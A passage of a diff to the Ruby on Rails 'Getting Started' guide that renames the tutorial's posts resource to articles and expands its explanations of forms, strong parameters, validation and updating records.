-method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`:
+To create a form within this template, you will use a *form
+builder*. The primary form builder for Rails is provided by a helper
+method called `form_for`. To use this method, add this code into
+`app/views/articles/new.html.erb`:
 
 ```html+erb
-<%= form_for :post do |f| %>
+<%= form_for :article do |f| %>
   <p>
     <%= f.label :title %><br>
     <%= f.text_field :title %>
@@ -381,60 +526,76 @@ method called `form_for`. To use this method, add this code into `app/views/post
 <% end %>
 ```
 
-If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy!
+If you refresh the page now, you'll see the exact same form as in the example.
+Building forms in Rails is really just that easy!
 
 When you call `form_for`, you pass it an identifying object for this
-form. In this case, it's the symbol `:post`. This tells the `form_for`
+form. In this case, it's the symbol `:article`. This tells the `form_for`
 helper what this form is for. Inside the block for this method, the
-`FormBuilder` object - represented by `f` - is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form.
+`FormBuilder` object - represented by `f` - is used to build two labels and two
+text fields, one each for the title and text of an article. Finally, a call to
+`submit` on the `f` object will create a submit button for the form.
 
-There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post.
+There's one problem with this form though. If you inspect the HTML that is
+generated, by viewing the source of the page, you will see that the `action`
+attribute for the form is pointing at `/articles/new`. This is a problem because
+this route goes to the very page that you're on right at the moment, and that
+route should only be used to display the form for a new article.
 
 The form needs to use a different URL in order to go somewhere else.
 This can be done quite simply with the `:url` option of `form_for`.
 Typically in Rails, the action that is used for new form submissions
 like this is called "create", and so the form should be pointed to that action.
 
-Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this:
+Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like
+this:
 
 ```html+erb
-<%= form_for :post, url: posts_path do |f| %>
+<%= form_for :article, url: articles_path do |f| %>
 ```
 
-In this example, the `posts_path` helper is passed to the `:url` option.
+In this example, the `articles_path` helper is passed to the `:url` option.
 To see what Rails will do with this, we look back at the output of
 `rake routes`:
+
 ```bash
-$ rake routes
-   Prefix Verb   URI Pattern               Controller#Action
-    posts GET    /posts(.:format)          posts#index
-          POST   /posts(.:format)          posts#create
- new_post GET    /posts/new(.:format)      posts#new
-edit_post GET    /posts/:id/edit(.:format) posts#edit
-     post GET    /posts/:id(.:format)      posts#show
-          PATCH  /posts/:id(.:format)      posts#update
-          PUT    /posts/:id(.:format)      posts#update
-          DELETE /posts/:id(.:format)      posts#destroy
-     root        /                         welcome#index
+$ bin/rake routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
 ```
-The `posts_path` helper tells Rails to point the form
-to the URI Pattern associated with the `posts` prefix; and
-the form will (by default) send a `POST` request
-to that route.  This is associated with the
-`create` action of the current controller, the `PostsController`.
 
-With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error:
+The `articles_path` helper tells Rails to point the form to the URI Pattern
+associated with the `articles` prefix; and the form will (by default) send a
+`POST` request to that route. This is associated with the `create` action of
+the current controller, the `ArticlesController`.
+
+With the form and its associated route defined, you will be able to fill in the
+form and then click the submit button to begin the process of creating a new
+article, so go ahead and do that. When you submit the form, you should see a
+familiar error:
 
-![Unknown action create for PostsController](images/getting_started/unknown_action_create_for_posts.png)
+![Unknown action create for ArticlesController]
+(images/getting_started/unknown_action_create_for_articles.png)
 
-You now need to create the `create` action within the `PostsController` for this to work.
+You now need to create the `create` action within the `ArticlesController` for
+this to work.
 
-### Creating posts
+### Creating articles
 
-To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action:
+To make the "Unknown action" go away, you can define a `create` action within
+the `ArticlesController` class in `app/controllers/articles_controller.rb`,
+underneath the `new` action, as shown:
 
 ```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
   def new
   end
 
@@ -443,103 +604,115 @@ class PostsController < ApplicationController
 end
 ```
 
-If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database.
+If you re-submit the form now, you'll see another familiar error: a template is
+missing. That's ok, we can ignore that for now. What the `create` action should
+be doing is saving our new article to the database.
 
-When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this:
+When a form is submitted, the fields of the form are sent to Rails as
+_parameters_. These parameters can then be referenced inside the controller
+actions, typically to perform a particular task. To see what these parameters
+look like, change the `create` action to this:
 
 ```ruby
 def create
-  render text: params[:post].inspect
+  render plain: params[:article].inspect
 end
 ```
 
-The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns an `ActiveSupport::HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form.
+The `render` method here is taking a very simple hash with a key of `plain` and
+value of `params[:article].inspect`. The `params` method is the object which
+represents the parameters (or fields) coming in from the form. The `params`
+method returns an `ActiveSupport::HashWithIndifferentAccess` object, which
+allows you to access the keys of the hash using either strings or symbols. In
+this situation, the only parameters that matter are the ones from the form.
 
-If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following:
+TIP: Ensure you have a firm grasp of the `params` method, as you'll use it fairly regularly. Let's consider an example URL: **http://www.example.com/?username=dhh&email=dhh@email.com**. In this URL, `params[:username]` would equal "dhh" and `params[:email]` would equal "dhh@email.com".
+
+If you re-submit the form one more time you'll now no longer get the missing
+template error. Instead, you'll see something that looks like the following:
 
 ```ruby
-{"title"=>"First post!", "text"=>"This is my first post."}
+{"title"=>"First article!", "text"=>"This is my first article."}
 ```
 
-This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them.
+This action is now displaying the parameters for the article that are coming in
+from the form. However, this isn't really all that helpful. Yes, you can see the
+parameters but nothing in particular is being done with them.
 
-### Creating the Post model
+### Creating the Article model
 
-Models in Rails use a singular name, and their corresponding database tables use
-a plural name. Rails provides a generator for creating models, which
-most Rails developers tend to use when creating new models.
-To create the new model, run this command in your terminal:
+Models in Rails use a singular name, and their corresponding database tables
+use a plural name. Rails provides a generator for creating models, which most
+Rails developers tend to use when creating new models. To create the new model,
+run this command in your terminal:
 
 ```bash
-$ rails generate model Post title:string text:text
+$ bin/rails generate model Article title:string text:text
 ```
 
-With that command we told Rails that we want a `Post` model, together
+With that command we told Rails that we want a `Article` model, together
 with a _title_ attribute of type string, and a _text_ attribute
-of type text. Those attributes are automatically added to the `posts`
-table in the database and mapped to the `Post` model.
+of type text. Those attributes are automatically added to the `articles`
+table in the database and mapped to the `Article` model.
 
-Rails responded by creating a bunch of files. For
-now, we're only interested in `app/models/post.rb` and
-`db/migrate/20120419084633_create_posts.rb` (your name could be a bit
-different). The latter is responsible
-for creating the database structure, which is what we'll look at next.
+Rails responded by creating a bunch of files. For now, we're only interested
+in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb`
+(your name could be a bit different). The latter is responsible for creating
+the database structure, which is what we'll look at next.
 
-TIP: Active Record is smart enough to automatically map column names to
-model attributes, which means you don't have to declare attributes
-inside Rails models, as that will be done automatically by Active
-Record.
+TIP: Active Record is smart enough to automatically map column names to model
+attributes, which means you don't have to declare attributes inside Rails
+models, as that will be done automatically by Active Record.
 
 ### Running a Migration
 
-As we've just seen, `rails generate model` created a _database
-migration_ file inside the `db/migrate` directory.
-Migrations are Ruby classes that are designed to make it simple to
-create and modify database tables. Rails uses rake commands to run migrations,
-and it's possible to undo a migration after it's been applied to your database.
-Migration filenames include a timestamp to ensure that they're processed in the
-order that they were created.
+As we've just seen, `rails generate model` created a _database migration_ file
+inside the `db/migrate` directory. Migrations are Ruby classes that are
+designed to make it simple to create and modify database tables. Rails uses
+rake commands to run migrations, and it's possible to undo a migration after
+it's been applied to your database. Migration filenames include a timestamp to
+ensure that they're processed in the order that they were created.
 
-If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember,
-yours will have a slightly different name), here's what you'll find:
+If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file
+(remember, yours will have a slightly different name), here's what you'll find:
 
 ```ruby
-class CreatePosts < ActiveRecord::Migration
+class CreateArticles < ActiveRecord::Migration
   def change
-    create_table :posts do |t|
+    create_table :articles do |t|
       t.string :title
       t.text :text
 
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
 ```
 
-The above migration creates a method named `change` which will be called when you
-run this migration. The action defined in this method is also reversible, which
-means Rails knows how to reverse the change made by this migration, in case you
-want to reverse it later. When you run this migration it will create a
-`posts` table with one string column and a text column. It also creates two
-timestamp fields to allow Rails to track post creation and update times.
+The above migration creates a method named `change` which will be called when
+you run this migration. The action defined in this method is also reversible,
+which means Rails knows how to reverse the change made by this migration,
+in case you want to reverse it later. When you run this migration it will create
+an `articles` table with one string column and a text column. It also creates
+two timestamp fields to allow Rails to track article creation and update times.
 
-TIP: For more information about migrations, refer to [Rails Database
-Migrations](migrations.html).
+TIP: For more information about migrations, refer to [Rails Database Migrations]
+(migrations.html).
 
 At this point, you can use a rake command to run the migration:
 
 ```bash
-$ rake db:migrate
+$ bin/rake db:migrate
 ```
 
-Rails will execute this migration command and tell you it created the Posts
+Rails will execute this migration command and tell you it created the Articles
 table.
 
 ```bash
-==  CreatePosts: migrating ====================================================
--- create_table(:posts)
+==  CreateArticles: migrating ==================================================
+-- create_table(:articles)
    -> 0.0019s
-==  CreatePosts: migrated (0.0020s) ===========================================
+==  CreateArticles: migrated (0.0020s) =========================================
 ```
 
 NOTE. Because you're working in the development environment by default, this
@@ -550,135 +723,183 @@ invoking the command: `rake db:migrate RAILS_ENV=production`.
 
 ### Saving data in the controller
 
-Back in `posts_controller`, we need to change the `create` action
-to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb`
-and change the `create` action to look like this:
+Back in `ArticlesController`, we need to change the `create` action
+to use the new `Article` model to save the data in the database.
+Open `app/controllers/articles_controller.rb` and change the `create` action to
+look like this:
 
 ```ruby
 def create
-  @post = Post.new(params[:post])
+  @article = Article.new(params[:article])
 
-  @post.save
-  redirect_to @post
+  @article.save
+  redirect_to @article
 end
 ```
 
 Here's what's going on: every Rails model can be initialized with its
 respective attributes, which are automatically mapped to the respective
-database columns. In the first line we do just that
-(remember that `params[:post]` contains the attributes we're interested in).
-Then, `@post.save` is responsible for saving the model in the database.
-Finally, we redirect the user to the `show` action, which we'll define later.
+database columns. In the first line we do just that (remember that
+`params[:article]` contains the attributes we're interested in). Then,
+`@article.save` is responsible for saving the model in the database. Finally,
+we redirect the user to the `show` action, which we'll define later.
 
-TIP: As we'll see later, `@post.save` returns a boolean indicating
-whether the model was saved or not.
+TIP: You might be wondering why the `A` in `Article.new` is capitalized above, whereas most other references to articles in this guide have used lowercase. In this context, we are referring to the class named `Article` that is defined in `app/models/article.rb`. Class names in Ruby must begin with a capital letter.
 
-If you now go to
-<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try
-it! You should get an error that looks like this:
+TIP: As we'll see later, `@article.save` returns a boolean indicating whether
+the article was saved or not.
 
-![Forbidden attributes for new post](images/getting_started/forbidden_attributes_for_new_post.png)
+If you now go to <http://localhost:3000/articles/new> you'll *almost* be able
+to create an article. Try it! You should get an error that looks like this:
+
+![Forbidden attributes for new article]
+(images/getting_started/forbidden_attributes_for_new_article.png)
 
 Rails has several security features that help you write secure applications,
-and you're running into one of them now. This one is called
-`strong_parameters`, which requires us to tell Rails exactly which parameters
-we want to accept in our controllers. In this case, we want to allow the
-`title` and `text` parameters, so change your `create` controller action to
-look like this:
+and you're running into one of them now. This one is called [strong parameters](action_controller_overview.html#strong-parameters),
+which requires us to tell Rails exactly which parameters are allowed into our
+controller actions.
+
+Why do you have to bother? The ability to grab and automatically assign all
+controller parameters to your model in one shot makes the programmer's job
+easier, but this convenience also allows malicious use. What if a request to
+the server was crafted to look like a new article form submit but also included
+extra fields with values that violated your applications integrity? They would
+be 'mass assigned' into your model and then into the database along with the
+good stuff - potentially breaking your application or worse.
+
+We have to whitelist our controller parameters to prevent wrongful mass
+assignment. In this case, we want to both allow and require the `title` and
+`text` parameters for valid use of `create`. The syntax for this introduces
+`require` and `permit`. The change will involve one line in the `create` action:
+
+```ruby
+  @article = Article.new(params.require(:article).permit(:title, :text))
+```
+
+This is often factored out into its own method so it can be reused by multiple
+actions in the same controller, for example `create` and `update`. Above and
+beyond mass assignment issues, the method is often made `private` to make sure
+it can't be called outside its intended context. Here is the result:
 
 ```ruby
 def create
-  @post = Post.new(post_params)
+  @article = Article.new(article_params)
 
-  @post.save
-  redirect_to @post
+  @article.save
+  redirect_to @article
 end
 
 private
-  def post_params
-    params.require(:post).permit(:title, :text)
+  def article_params
+    params.require(:article).permit(:title, :text)
   end
 ```
 
-See the `permit`? It allows us to accept both `title` and `text` in this
-action.
-
-TIP: Note that `def post_params` is private. This new approach prevents an attacker from
-setting the model's attributes by manipulating the hash passed to the model.
-For more information, refer to
-[this blog post about Strong Parameters](http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
+TIP: For more information, refer to the reference above and
+[this blog article about Strong Parameters]
+(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/).
 
-### Showing Posts
+### Showing Articles
 
-If you submit the form again now, Rails will complain about not finding
-the `show` action. That's not very useful though, so let's add the
-`show` action before proceeding.
+If you submit the form again now, Rails will complain about not finding the
+`show` action. That's not very useful though, so let's add the `show` action
+before proceeding.
 
-As we have seen in the output of `rake routes`, the route for `show` action is as follows:
+As we have seen in the output of `rake routes`, the route for `show` action is
+as follows:
 
-```ruby
-post GET    /posts/:id(.:format)      posts#show
+```
+article GET    /articles/:id(.:format)      articles#show
 ```
 
 The special syntax `:id` tells rails that this route expects an `:id`
-parameter, which in our case will be the id of the post.
+parameter, which in our case will be the id of the article.
 
 As we did before, we need to add the `show` action in
-`app/controllers/posts_controller.rb` and its respective view.
+`app/controllers/articles_controller.rb` and its respective view.
+
+NOTE: A frequent practice is to place the standard CRUD actions in each
+controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update`
+and `destroy`. You may use any order you choose, but keep in mind that these
+are public methods; as mentioned earlier in this guide, they must be placed
+before any private or protected method in the controller in order to work.
+
+Given that, let's add the `show` action, as follows:
 
 ```ruby
-def show
-  @post = Post.find(params[:id])
-end
+class ArticlesController < ApplicationController
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # snipped for brevity
 ```
 
-A couple of things to note. We use `Post.find` to find the post we're
+A couple of things to note. We use `Article.find` to find the article we're
 interested in, passing in `params[:id]` to get the `:id` parameter from the
-request. We also use an instance variable (prefixed by `@`) to hold a
-reference to the post object. We do this because Rails will pass all instance
+request. We also use an instance variable (prefixed with `@`) to hold a
+reference to the article object. We do this because Rails will pass all instance
 variables to the view.
 
-Now, create a new file `app/views/posts/show.html.erb` with the following
+Now, create a new file `app/views/articles/show.html.erb` with the following
 content:
 
 ```html+erb
 <p>
   <strong>Title:</strong>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 
 <p>
   <strong>Text:</strong>
-  <%= @post.text %>
+  <%= @article.text %>
 </p>
 ```
 
-With this change, you should finally be able to create new posts.
-Visit <http://localhost:3000/posts/new> and give it a try!
+With this change, you should finally be able to create new articles.
+Visit <http://localhost:3000/articles/new> and give it a try!
 
-![Show action for posts](images/getting_started/show_action_for_posts.png)
+![Show action for articles](images/getting_started/show_action_for_articles.png)
 
-### Listing all posts
+### Listing all articles
 
-We still need a way to list all our posts, so let's do that.
+We still need a way to list all our articles, so let's do that.
 The route for this as per output of `rake routes` is:
 
-```ruby
-posts GET    /posts(.:format)          posts#index
+```
+articles GET    /articles(.:format)          articles#index
 ```
 
-And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file:
+Add the corresponding `index` action for that route inside the
+`ArticlesController` in the `app/controllers/articles_controller.rb` file.
+When we write an `index` action, the usual practice is to place it as the
+first method in the controller. Let's do it:
 
 ```ruby
-def index
-  @posts = Post.all
-end
+class ArticlesController < ApplicationController
+  def index
+    @articles = Article.all
+  end
+
+  def show
+    @article = Article.find(params[:id])
+  end
+
+  def new
+  end
+
+  # snipped for brevity
 ```
 
-And then finally a view for this action, located at `app/views/posts/index.html.erb`:
+And then finally, add the view for this action, located at
+`app/views/articles/index.html.erb`:
 
 ```html+erb
-<h1>Listing posts</h1>
+<h1>Listing articles</h1>
 
 <table>
   <tr>
@@ -686,68 +907,77 @@ And then finally a view for this action, located at `app/views/posts/index.html.
     <th>Text</th>
   </tr>
 
-  <% @posts.each do |post| %>
+  <% @articles.each do |article| %>
     <tr>
-      <td><%= post.title %></td>
-      <td><%= post.text %></td>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
     </tr>
   <% end %>
 </table>
 ```
 
-Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created.
+Now if you go to <http://localhost:3000/articles> you will see a list of all the
+articles that you have created.
 
 ### Adding links
 
-You can now create, show, and list posts. Now let's add some links to
+You can now create, show, and list articles. Now let's add some links to
 navigate through pages.
 
 Open `app/views/welcome/index.html.erb` and modify it as follows:
 
 ```html+erb
 <h1>Hello, Rails!</h1>
-<%= link_to "My Blog", controller: "posts" %>
+<%= link_to 'My Blog', controller: 'articles' %>
 ```
 
 The `link_to` method is one of Rails' built-in view helpers. It creates a
 hyperlink based on text to display and where to go - in this case, to the path
-for posts.
+for articles.
 
-Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag:
+Let's add links to the other views as well, starting with adding this
+"New Article" link to `app/views/articles/index.html.erb`, placing it above the
+`<table>` tag:
 
 ```erb
-<%= link_to 'New post', new_post_path %>
+<%= link_to 'New article', new_article_path %>
 ```
 
-This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template - `app/views/posts/new.html.erb` - to go back to the `index` action. Do this by adding this underneath the form in this template:
+This link will allow you to bring up the form that lets you create a new article.
+
+Now, add another link in `app/views/articles/new.html.erb`, underneath the
+form, to go back to the `index` action:
 
 ```erb
-<%= form_for :post do |f| %>
+<%= form_for :article, url: articles_path do |f| %>
   ...
 <% end %>
 
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
 ```
 
-Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again:
+Finally, add a link to the `app/views/articles/show.html.erb` template to
+go back to the `index` action as well, so that people who are viewing a single
+article can go back and view the whole list again:
 
 ```html+erb
 <p>
   <strong>Title:</strong>
-  <%= @post.title %>
+  <%= @article.title %>
 </p>
 
 <p>
   <strong>Text:</strong>
-  <%= @post.text %>
+  <%= @article.text %>
 </p>
 
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
 ```
 
-TIP: If you want to link to an action in the same controller, you don't
-need to specify the `:controller` option, as Rails will use the current
-controller by default.
+TIP: If you want to link to an action in the same controller, you don't need to
+specify the `:controller` option, as Rails will use the current controller by
+default.
 
 TIP: In development mode (which is what you're working in by default), Rails
 reloads your application with every browser request, so there's no need to stop
@@ -755,89 +985,97 @@ and restart the web server when a change is made.
 
 ### Adding Some Validation
 
-The model file, `app/models/post.rb` is about as simple as it can get:
+The model file, `app/models/article.rb` is about as simple as it can get:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
 end
 ```
 
-There isn't much to this file - but note that the `Post` class inherits from
+There isn't much to this file - but note that the `Article` class inherits from
 `ActiveRecord::Base`. Active Record supplies a great deal of functionality to
 your Rails models for free, including basic database CRUD (Create, Read, Update,
 Destroy) operations, data validation, as well as sophisticated search support
 and the ability to relate multiple models to one another.
 
 Rails includes methods to help you validate the data that you send to models.
-Open the `app/models/post.rb` file and edit it:
+Open the `app/models/article.rb` file and edit it:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   validates :title, presence: true,
                     length: { minimum: 5 }
 end
 ```
 
-These changes will ensure that all posts have a title that is at least five
+These changes will ensure that all articles have a title that is at least five
 characters long. Rails can validate a variety of conditions in a model,
 including the presence or uniqueness of columns, their format, and the
 existence of associated objects. Validations are covered in detail in [Active
-Record Validations](active_record_validations.html)
+Record Validations](active_record_validations.html).
 
-With the validation now in place, when you call `@post.save` on an invalid
-post, it will return `false`. If you open `app/controllers/posts_controller.rb`
-again, you'll notice that we don't check the result of calling `@post.save`
-inside the `create` action. If `@post.save` fails in this situation, we need to
-show the form back to the user. To do this, change the `new` and `create`
-actions inside `app/controllers/posts_controller.rb` to these:
+With the validation now in place, when you call `@article.save` on an invalid
+article, it will return `false`. If you open
+`app/controllers/articles_controller.rb` again, you'll notice that we don't
+check the result of calling `@article.save` inside the `create` action.
+If `@article.save` fails in this situation, we need to show the form back to the
+user. To do this, change the `new` and `create` actions inside
+`app/controllers/articles_controller.rb` to these:
 
 ```ruby
 def new
-  @post = Post.new
+  @article = Article.new
 end
 
 def create
-  @post = Post.new(post_params)
+  @article = Article.new(article_params)
 
-  if @post.save
-    redirect_to @post
+  if @article.save
+    redirect_to @article
   else
     render 'new'
   end
 end
 
 private
-  def post_params
-    params.require(:post).permit(:title, :text)
+  def article_params
+    params.require(:article).permit(:title, :text)
   end
 ```
 
-The `new` action is now creating a new instance variable called `@post`, and
+The `new` action is now creating a new instance variable called `@article`, and
 you'll see why that is in just a few moments.
 
-Notice that inside the `create` action we use `render` instead of `redirect_to` when `save`
-returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request.
+Notice that inside the `create` action we use `render` instead of `redirect_to`
+when `save` returns `false`. The `render` method is used so that the `@article`
+object is passed back to the `new` template when it is rendered. This rendering
+is done within the same request as the form submission, whereas the
+`redirect_to` will tell the browser to issue another request.
 
 If you reload
-<http://localhost:3000/posts/new> and
-try to save a post without a title, Rails will send you back to the
+<http://localhost:3000/articles/new> and
+try to save an article without a title, Rails will send you back to the
 form, but that's not very useful. You need to tell the user that
 something went wrong. To do that, you'll modify
-`app/views/posts/new.html.erb` to check for error messages:
+`app/views/articles/new.html.erb` to check for error messages:
 
 ```html+erb
-<%= form_for :post, url: posts_path do |f| %>
-  <% if @post.errors.any? %>
-  <div id="error_explanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
-      this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
+<%= form_for :article, url: articles_path do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
   <% end %>
+
   <p>
     <%= f.label :title %><br>
     <%= f.text_field :title %>
@@ -851,62 +1089,85 @@ something went wrong. To do that, you'll modify
   <p>
     <%= f.submit %>
   </p>
+
 <% end %>
 
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
 ```
 
 A few things are going on. We check if there are any errors with
-`@post.errors.any?`, and in that case we show a list of all
-errors with `@post.errors.full_messages`.
+`@article.errors.any?`, and in that case we show a list of all
+errors with `@article.errors.full_messages`.
 
 `pluralize` is a rails helper that takes a number and a string as its
-arguments. If the number is greater than one, the string will be automatically pluralized.
+arguments. If the number is greater than one, the string will be automatically
+pluralized.
 
-The reason why we added `@post = Post.new` in `posts_controller` is that
-otherwise `@post` would be `nil` in our view, and calling
-`@post.errors.any?` would throw an error.
+The reason why we added `@article = Article.new` in the `ArticlesController` is
+that otherwise `@article` would be `nil` in our view, and calling
+`@article.errors.any?` would throw an error.
 
 TIP: Rails automatically wraps fields that contain an error with a div
 with class `field_with_errors`. You can define a css rule to make them
 standout.
 
-Now you'll get a nice error message when saving a post without title when you
-attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new).
+Now you'll get a nice error message when saving an article without title when
+you attempt to do just that on the new article form
+<http://localhost:3000/articles/new>:
 
 ![Form With Errors](images/getting_started/form_with_errors.png)
 
-### Updating Posts
+### Updating Articles
 
-We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts.
+We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating
+articles.
 
-The first step we'll take is adding an `edit` action to `posts_controller`.
+The first step we'll take is adding an `edit` action to the `ArticlesController`,
+generally between the `new` and `create` actions, as shown:
 
 ```ruby
+def new
+  @article = Article.new
+end
+
 def edit
-  @post = Post.find(params[:id])
+  @article = Article.find(params[:id])
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
 end
 ```
 
 The view will contain a form similar to the one we used when creating
-new posts. Create a file called `app/views/posts/edit.html.erb` and make
+new articles. Create a file called `app/views/articles/edit.html.erb` and make
 it look as follows:
 
 ```html+erb
-<h1>Editing post</h1>
-
-<%= form_for :post, url: post_path(@post), method: :patch do |f| %>
-  <% if @post.errors.any? %>
-  <div id="error_explanation">
-    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
-      this post from being saved:</h2>
-    <ul>
-    <% @post.errors.full_messages.each do |msg| %>
-      <li><%= msg %></li>
-    <% end %>
-    </ul>
-  </div>
+<h1>Editing article</h1>
+
+<%= form_for :article, url: article_path(@article), method: :patch do |f| %>
+
+  <% if @article.errors.any? %>
+    <div id="error_explanation">
+      <h2>
+        <%= pluralize(@article.errors.count, "error") %> prohibited
+        this article from being saved:
+      </h2>
+      <ul>
+        <% @article.errors.full_messages.each do |msg| %>
+          <li><%= msg %></li>
+        <% end %>
+      </ul>
+    </div>
   <% end %>
+
   <p>
     <%= f.label :title %><br>
     <%= f.text_field :title %>
@@ -920,9 +1181,10 @@ it look as follows:
   <p>
     <%= f.submit %>
   </p>
+
 <% end %>
 
-<%= link_to 'Back', posts_path %>
+<%= link_to 'Back', articles_path %>
 ```
 
 This time we point the form to the `update` action, which is not defined yet
@@ -932,42 +1194,60 @@ The `method: :patch` option tells Rails that we want this form to be submitted
 via the `PATCH` HTTP method which is the HTTP method you're expected to use to
 **update** resources according to the REST protocol.
 
-TIP: By default forms built with the _form_for_ helper are sent via `POST`.
+The first parameter of `form_for` can be an object, say, `@article` which would
+cause the helper to fill in the form with the fields of the object. Passing in a
+symbol (`:article`) with the same name as the instance variable (`@article`)
+also automagically leads to the same behavior. This is what is happening here.
+More details can be found in [form_for documentation]
+(http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for).
 
-Next we need to create the `update` action in `app/controllers/posts_controller.rb`:
+Next, we need to create the `update` action in
+`app/controllers/articles_controller.rb`.
+Add it between the `create` action and the `private` method:
 
 ```ruby
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
 def update
-  @post = Post.find(params[:id])
+  @article = Article.find(params[:id])
 
-  if @post.update(post_params)
-    redirect_to @post
+  if @article.update(article_params)
+    redirect_to @article
   else
     render 'edit'
   end
 end
 
 private
-  def post_params
-    params.require(:post).permit(:title, :text)
+  def article_params
+    params.require(:article).permit(:title, :text)
   end
 ```
 
 The new method, `update`, is used when you want to update a record
 that already exists, and it accepts a hash containing the attributes
 that you want to update. As before, if there was an error updating the
-post we want to show the form back to the user.
+article we want to show the form back to the user.
 
-We reuse the `post_params` method that we defined earlier for the create action.
+We reuse the `article_params` method that we defined earlier for the create
+action.
 
 TIP: You don't need to pass all attributes to `update`. For
-example, if you'd call `@post.update(title: 'A new title')`
+example, if you'd call `@article.update(title: 'A new title')`
 Rails would only update the `title` attribute, leaving all other
 attributes untouched.
 
 Finally, we want to show a link to the `edit` action in the list of all the
-posts, so let's add that now to `app/views/posts/index.html.erb` to make it
-appear next to the "Show" link:
+articles, so let's add that now to `app/views/articles/index.html.erb` to make
+it appear next to the "Show" link:
 
 ```html+erb
 <table>
@@ -977,26 +1257,26 @@ appear next to the "Show" link:
     <th colspan="2"></th>
   </tr>
 
-<% @posts.each do |post| %>
-  <tr>
-    <td><%= post.title %></td>
-    <td><%= post.text %></td>
-    <td><%= link_to 'Show', post %></td>
-    <td><%= link_to 'Edit', edit_post_path(post) %></td>
-  </tr>
-<% end %>
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+      <td><%= link_to 'Show', article_path(article) %></td>
+      <td><%= link_to 'Edit', edit_article_path(article) %></td>
+    </tr>
+  <% end %>
 </table>
 ```
 
-And we'll also add one to the `app/views/posts/show.html.erb` template as well,
-so that there's also an "Edit" link on a post's page. Add this at the bottom of
-the template:
+And we'll also add one to the `app/views/articles/show.html.erb` template as
+well, so that there's also an "Edit" link on an article's page. Add this at the
+bottom of the template:
 
 ```html+erb
 ...
 
-<%= link_to 'Back', posts_path %>
-| <%= link_to 'Edit', edit_post_path(@post) %>
